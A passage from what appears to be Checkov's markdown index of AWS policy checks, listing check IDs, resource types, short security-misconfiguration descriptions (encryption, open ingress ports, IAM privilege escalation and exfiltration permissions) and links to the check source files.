[NetworkACLUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py) | | 635 | CKV_AWS_232 | resource | aws_network_acl | Ensure no NACL allow ingress from 0.0.0.0:0 to port 22 | Terraform | [NetworkACLUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py) | | 636 | CKV_AWS_232 | resource | aws_network_acl_rule | Ensure no NACL allow ingress from 0.0.0.0:0 to port 22 | Terraform | [NetworkACLUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py) | | 637 | CKV_AWS_233 | resource | aws_acm_certificate | Ensure Create before destroy for ACM certificates | Terraform | [ACMCertCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ACMCertCreateBeforeDestroy.py) | | 638 | CKV_AWS_234 | resource | aws_acm_certificate | Verify logging preference for ACM certificates | Terraform | [ACMCertSetLoggingPreference.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ACMCertSetLoggingPreference.py) | | 639 | CKV_AWS_235 | resource | aws_ami_copy | Ensure that copied AMIs are encrypted | Terraform | [AMICopyIsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMICopyIsEncrypted.py) | | 640 | CKV_AWS_236 | resource | aws_ami_copy | Ensure AMI copying uses a CMK | Terraform | [AMICopyUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMICopyUsesCMK.py) | | 641 | CKV_AWS_237 | resource | aws_api_gateway_rest_api | Ensure Create before destroy for API Gateway | Terraform | [APIGatewayCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayCreateBeforeDestroy.py) | | 642 | CKV_AWS_238 | resource | aws_guardduty_detector | Ensure that GuardDuty detector is enabled | Terraform | [GuarddutyDetectorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GuarddutyDetectorEnabled.py) | | 643 | CKV_AWS_239 | resource | aws_dax_cluster | Ensure DAX cluster endpoint is using TLS | Terraform | [DAXEndpointTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DAXEndpointTLS.py) | | 644 | CKV_AWS_240 | resource | aws_kinesis_firehose_delivery_stream | Ensure Kinesis Firehose delivery stream is encrypted | Terraform | [KinesisFirehoseDeliveryStreamSSE.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamSSE.py) | | 645 | CKV_AWS_241 | resource | aws_kinesis_firehose_delivery_stream | Ensure that Kinesis Firehose Delivery Streams are encrypted with CMK | Terraform | [KinesisFirehoseDeliveryStreamUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamUsesCMK.py) | | 646 | CKV_AWS_242 | resource | aws_mwaa_environment | Ensure MWAA environment has scheduler logs enabled | Terraform | [MWAASchedulerLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAASchedulerLogsEnabled.py) | | 647 | CKV_AWS_243 | resource | aws_mwaa_environment | Ensure MWAA environment has worker logs enabled | Terraform | [MWAAWorkerLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAAWorkerLogsEnabled.py) | | 648 | CKV_AWS_244 | resource | aws_mwaa_environment | Ensure MWAA environment has webserver logs enabled | Terraform | [MWAAWebserverLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAAWebserverLogsEnabled.py) | | 649 | CKV_AWS_245 | resource | aws_db_instance_automated_backups_replication | Ensure replicated backups are encrypted at rest using KMS CMKs | Terraform | [RDSInstanceAutoBackupEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstanceAutoBackupEncryptionWithCMK.py) | | 650 | CKV_AWS_246 | resource | aws_rds_cluster_activity_stream | Ensure RDS Cluster activity streams are encrypted using KMS CMKs | Terraform | [RDSClusterActivityStreamEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterActivityStreamEncryptedWithCMK.py) | | 651 | CKV_AWS_247 | resource | aws_elasticsearch_domain | Ensure all data stored in the Elasticsearch is encrypted with a CMK | Terraform | [ElasticsearchEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py) | | 652 | CKV_AWS_247 | resource | aws_opensearch_domain | Ensure all data stored in the Elasticsearch is encrypted with a CMK | Terraform | [ElasticsearchEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py) | | 653 | CKV_AWS_248 | resource | aws_elasticsearch_domain | Ensure that Elasticsearch is not using the default Security Group | Terraform | [ElasticsearchDefaultSG.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py) | | 654 | CKV_AWS_248 | resource | aws_opensearch_domain | Ensure that Elasticsearch is not using the default Security Group | Terraform | [ElasticsearchDefaultSG.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py) | | 655 | CKV_AWS_249 | resource | aws_ecs_task_definition | Ensure that the Execution Role ARN and the Task Role ARN are different in ECS Task definitions | Terraform | [ECSTaskDefinitionRoleCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSTaskDefinitionRoleCheck.py) | | 656 | CKV_AWS_250 | resource | aws_db_instance | Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/) | Terraform | [RDSPostgreSQLLogFDWExtension.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py) | | 657 | CKV_AWS_250 | resource | aws_rds_cluster | Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/) | Terraform | [RDSPostgreSQLLogFDWExtension.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py) | | 658 | CKV_AWS_251 | resource | aws_cloudtrail | Ensure CloudTrail logging is enabled | Terraform | [CloudtrailEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEnableLogging.py) | | 659 | CKV_AWS_252 | resource | aws_cloudtrail | Ensure CloudTrail defines an SNS Topic | Terraform | [CloudtrailDefinesSNSTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailDefinesSNSTopic.py) | | 660 | CKV_AWS_253 | resource | aws_dlm_lifecycle_policy | Ensure DLM cross region events are encrypted | Terraform | [DLMEventsCrossRegionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryption.py) | | 661 | CKV_AWS_254 | resource | aws_dlm_lifecycle_policy | Ensure DLM cross region events are encrypted with Customer Managed Key | Terraform | [DLMEventsCrossRegionEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryptionWithCMK.py) | | 662 | CKV_AWS_255 | resource | aws_dlm_lifecycle_policy | Ensure DLM cross region schedules are encrypted | Terraform | [DLMScheduleCrossRegionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryption.py) | | 663 | CKV_AWS_256 | resource | aws_dlm_lifecycle_policy | Ensure DLM cross region schedules are encrypted using a Customer Managed Key | Terraform | [DLMScheduleCrossRegionEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryptionWithCMK.py) | | 664 | CKV_AWS_257 | resource | aws_codecommit_approval_rule_template | Ensure CodeCommit branch changes have at least 2 approvals | Terraform | [CodecommitApprovalsRulesRequireMin2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodecommitApprovalsRulesRequireMin2.py) | | 665 | CKV_AWS_258 | resource | AWS::Lambda::Url | Ensure that Lambda function URLs AuthType is not None | Cloudformation | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionURLAuth.py) | | 666 | CKV_AWS_258 | resource | aws_lambda_function_url | Ensure that Lambda function URLs AuthType is not None | Terraform | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionURLAuth.py) | | 667 | CKV_AWS_259 | resource | aws_cloudfront_response_headers_policy | Ensure CloudFront response header policy enforces Strict Transport Security | Terraform | [CloudFrontResponseHeaderStrictTransportSecurity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudFrontResponseHeaderStrictTransportSecurity.py) | | 668 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroup | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 669 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroupIngress | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 670 | CKV_AWS_260 | resource | aws_security_group | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Terraform | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 671 | CKV_AWS_260 | resource | aws_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Terraform | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 672 | CKV_AWS_260 | resource | aws_vpc_security_group_ingress_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Terraform | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 673 | CKV_AWS_261 | resource | aws_alb_target_group | Ensure HTTP HTTPS Target group defines Healthcheck | Terraform | [LBTargetGroupsDefinesHealthcheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py) | | 674 | CKV_AWS_261 | resource | aws_lb_target_group | Ensure HTTP HTTPS Target group defines Healthcheck | Terraform | [LBTargetGroupsDefinesHealthcheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py) | | 675 | CKV_AWS_262 | resource | aws_kendra_index | Ensure Kendra index Server side encryption uses CMK | Terraform | [KendraIndexSSEUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KendraIndexSSEUsesCMK.py) | | 676 | CKV_AWS_263 | resource | aws_appflow_flow | Ensure AppFlow flow uses CMK | Terraform | [AppFlowUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppFlowUsesCMK.py) | | 677 | CKV_AWS_264 | resource | aws_appflow_connector_profile | Ensure AppFlow connector profile uses CMK | Terraform | [AppFlowConnectorProfileUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppFlowConnectorProfileUsesCMK.py) | | 678 | CKV_AWS_265 | resource | aws_keyspaces_table | Ensure Keyspaces Table uses CMK | Terraform | [KeyspacesTableUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KeyspacesTableUsesCMK.py) | | 679 | CKV_AWS_266 | resource | aws_db_snapshot_copy | Ensure DB Snapshot copy uses CMK | Terraform | [DBSnapshotCopyUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBSnapshotCopyUsesCMK.py) | | 680 | CKV_AWS_267 | resource | aws_comprehend_entity_recognizer | Ensure that Comprehend Entity Recognizer's model is encrypted by KMS using a customer managed Key (CMK) | Terraform | [ComprehendEntityRecognizerModelUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerModelUsesCMK.py) | | 681 | CKV_AWS_268 | resource | aws_comprehend_entity_recognizer | Ensure that Comprehend Entity Recognizer's volume is encrypted by KMS using a customer managed Key (CMK) | Terraform | [ComprehendEntityRecognizerVolumeUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerVolumeUsesCMK.py) | | 682 | CKV_AWS_269 | resource | aws_connect_instance_storage_config | Ensure Connect Instance Kinesis Video Stream Storage Config uses CMK | Terraform | [ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py) | | 683 | CKV_AWS_270 | resource | aws_connect_instance_storage_config | Ensure Connect Instance S3 Storage Config uses CMK | Terraform | [ConnectInstanceS3StorageConfigUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConnectInstanceS3StorageConfigUsesCMK.py) | | 684 | CKV_AWS_271 | resource | aws_dynamodb_table_replica | Ensure DynamoDB table replica KMS encryption uses CMK | Terraform | [DynamoDBTableReplicaKMSUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBTableReplicaKMSUsesCMK.py) | | 685 | CKV_AWS_272 | resource | aws_lambda_function | Ensure AWS Lambda function is configured to validate code-signing | Terraform | [LambdaCodeSigningConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaCodeSigningConfigured.py) | | 686 | CKV_AWS_273 | resource | aws_iam_user | Ensure access is controlled through SSO and not AWS IAM defined users | Terraform | [IAMUserNotUsedForAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMUserNotUsedForAccess.py) | | 687 | CKV_AWS_274 | resource | aws_iam_group_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 688 | CKV_AWS_274 | resource | aws_iam_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 689 | CKV_AWS_274 | resource | aws_iam_role | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 690 | CKV_AWS_274 | resource | aws_iam_role_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 691 | CKV_AWS_274 | resource | aws_iam_user_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 692 | CKV_AWS_274 | resource | aws_ssoadmin_managed_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 693 | CKV_AWS_275 | data | aws_iam_policy | Disallow policies from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMManagedAdminPolicy.py) | | 694 | CKV_AWS_276 | resource | aws_api_gateway_method_settings | Ensure Data Trace is not enabled in API Gateway Method Settings | Terraform | [APIGatewayMethodSettingsDataTrace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsDataTrace.py) | | 695 | CKV_AWS_277 | resource | aws_security_group | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py) | | 696 | CKV_AWS_277 | resource | aws_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py) | | 697 | CKV_AWS_277 | resource | aws_vpc_security_group_ingress_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py) | | 698 | CKV_AWS_278 | resource | aws_memorydb_snapshot | Ensure MemoryDB snapshot is encrypted by KMS using a customer managed Key (CMK) | Terraform | [MemoryDBSnapshotEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBSnapshotEncryptionWithCMK.py) | | 699 | CKV_AWS_279 | resource | aws_neptune_cluster_snapshot | Ensure Neptune snapshot is securely encrypted | Terraform | [NeptuneClusterSnapshotEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncrypted.py) | | 700 | CKV_AWS_280 | resource | aws_neptune_cluster_snapshot | Ensure Neptune snapshot is encrypted by KMS using a customer managed Key (CMK) | Terraform | [NeptuneClusterSnapshotEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncryptedWithCMK.py) | | 701 | CKV_AWS_281 | resource | aws_redshift_snapshot_copy_grant | Ensure RedShift snapshot copy is encrypted by KMS using a customer managed Key (CMK) | Terraform | [RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py) | | 702 | CKV_AWS_282 | resource | aws_redshiftserverless_namespace | Ensure that Redshift Serverless namespace is encrypted by KMS using a customer managed key (CMK) | Terraform | [RedshiftServerlessNamespaceKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftServerlessNamespaceKMSKey.py) | | 703 | CKV_AWS_283 | data | aws_iam_policy_document | Ensure no IAM policies documents allow ALL or any AWS principal permissions to the resource | Terraform | [IAMPublicActionsPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPublicActionsPolicy.py) | | 704 | CKV_AWS_284 | resource | aws_sfn_state_machine | Ensure State Machine has X-Ray tracing enabled | Terraform | [StateMachineXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/StateMachineXray.py) | | 705 | CKV_AWS_285 | resource | aws_sfn_state_machine | Ensure State Machine has execution history logging enabled | Terraform | [StateMachineLoggingExecutionHistory.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/StateMachineLoggingExecutionHistory.py) | | 706 | CKV_AWS_286 | resource | aws_iam_group_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 707 | CKV_AWS_286 | resource | aws_iam_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 708 | CKV_AWS_286 | resource | aws_iam_role_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 709 | CKV_AWS_286 | resource | aws_iam_user_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 710 | CKV_AWS_286 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 711 | CKV_AWS_287 | resource | aws_iam_group_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 712 | CKV_AWS_287 | resource | aws_iam_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 713 | CKV_AWS_287 | resource | aws_iam_role_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 714 | CKV_AWS_287 | resource | aws_iam_user_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 715 | CKV_AWS_287 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 716 | CKV_AWS_288 | resource | aws_iam_group_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 717 | CKV_AWS_288 | resource | aws_iam_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 718 | CKV_AWS_288 | resource | aws_iam_role_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 719 | CKV_AWS_288 | resource | aws_iam_user_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 720 | CKV_AWS_288 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 721 | CKV_AWS_289 | resource | aws_iam_group_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 722 | CKV_AWS_289 | resource | aws_iam_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 723 | CKV_AWS_289 | resource | aws_iam_role_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 724 | CKV_AWS_289 | resource | aws_iam_user_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 725 | CKV_AWS_289 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 726 | CKV_AWS_290 | resource | aws_iam_group_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 727 | CKV_AWS_290 | resource | aws_iam_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 728 | CKV_AWS_290 | resource | aws_iam_role_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 729 | CKV_AWS_290 | resource | aws_iam_user_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 730 | CKV_AWS_290 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 731 | CKV_AWS_291 | resource | AWS::MSK::Cluster | Ensure MSK nodes are private | Cloudformation | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterNodesArePrivate.py) | | 732 | CKV_AWS_291 | resource | aws_msk_cluster | Ensure MSK nodes are private | Terraform | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterNodesArePrivate.py) | | 733 | CKV_AWS_292 | resource | aws_docdb_global_cluster | Ensure DocumentDB Global Cluster is encrypted at rest (default is unencrypted) | Terraform | [DocDBGlobalClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBGlobalClusterEncryption.py) | | 734 | CKV_AWS_293 | resource | aws_db_instance | Ensure that AWS database instances have deletion protection enabled | Terraform | [RDSInstanceDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstanceDeletionProtection.py) | | 735 | CKV_AWS_294 | resource | aws_cloudtrail_event_data_store | Ensure CloudTrail Event Data Store uses CMK | Terraform | [CloudtrailEventDataStoreUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEventDataStoreUsesCMK.py) | | 736 | CKV_AWS_295 | resource | aws_datasync_location_object_storage | Ensure DataSync Location Object Storage doesn't expose secrets | Terraform | [DatasyncLocationExposesSecrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DatasyncLocationExposesSecrets.py) | | 737 | CKV_AWS_296 | resource | aws_dms_endpoint | Ensure DMS endpoint uses Customer Managed Key (CMK) | Terraform | [DMSEndpointUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSEndpointUsesCMK.py) | | 738 | CKV_AWS_297 | resource | aws_scheduler_schedule | Ensure EventBridge Scheduler Schedule uses Customer Managed Key (CMK) | Terraform | [SchedulerScheduleUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SchedulerScheduleUsesCMK.py) | | 739 | CKV_AWS_298 | resource | aws_dms_s3_endpoint | Ensure DMS S3 uses Customer Managed Key (CMK) | Terraform | [DMSS3UsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSS3UsesCMK.py) | | 740 | CKV_AWS_300 | resource | aws_s3_bucket_lifecycle_configuration | Ensure S3 lifecycle configuration sets period for aborting failed uploads | Terraform | 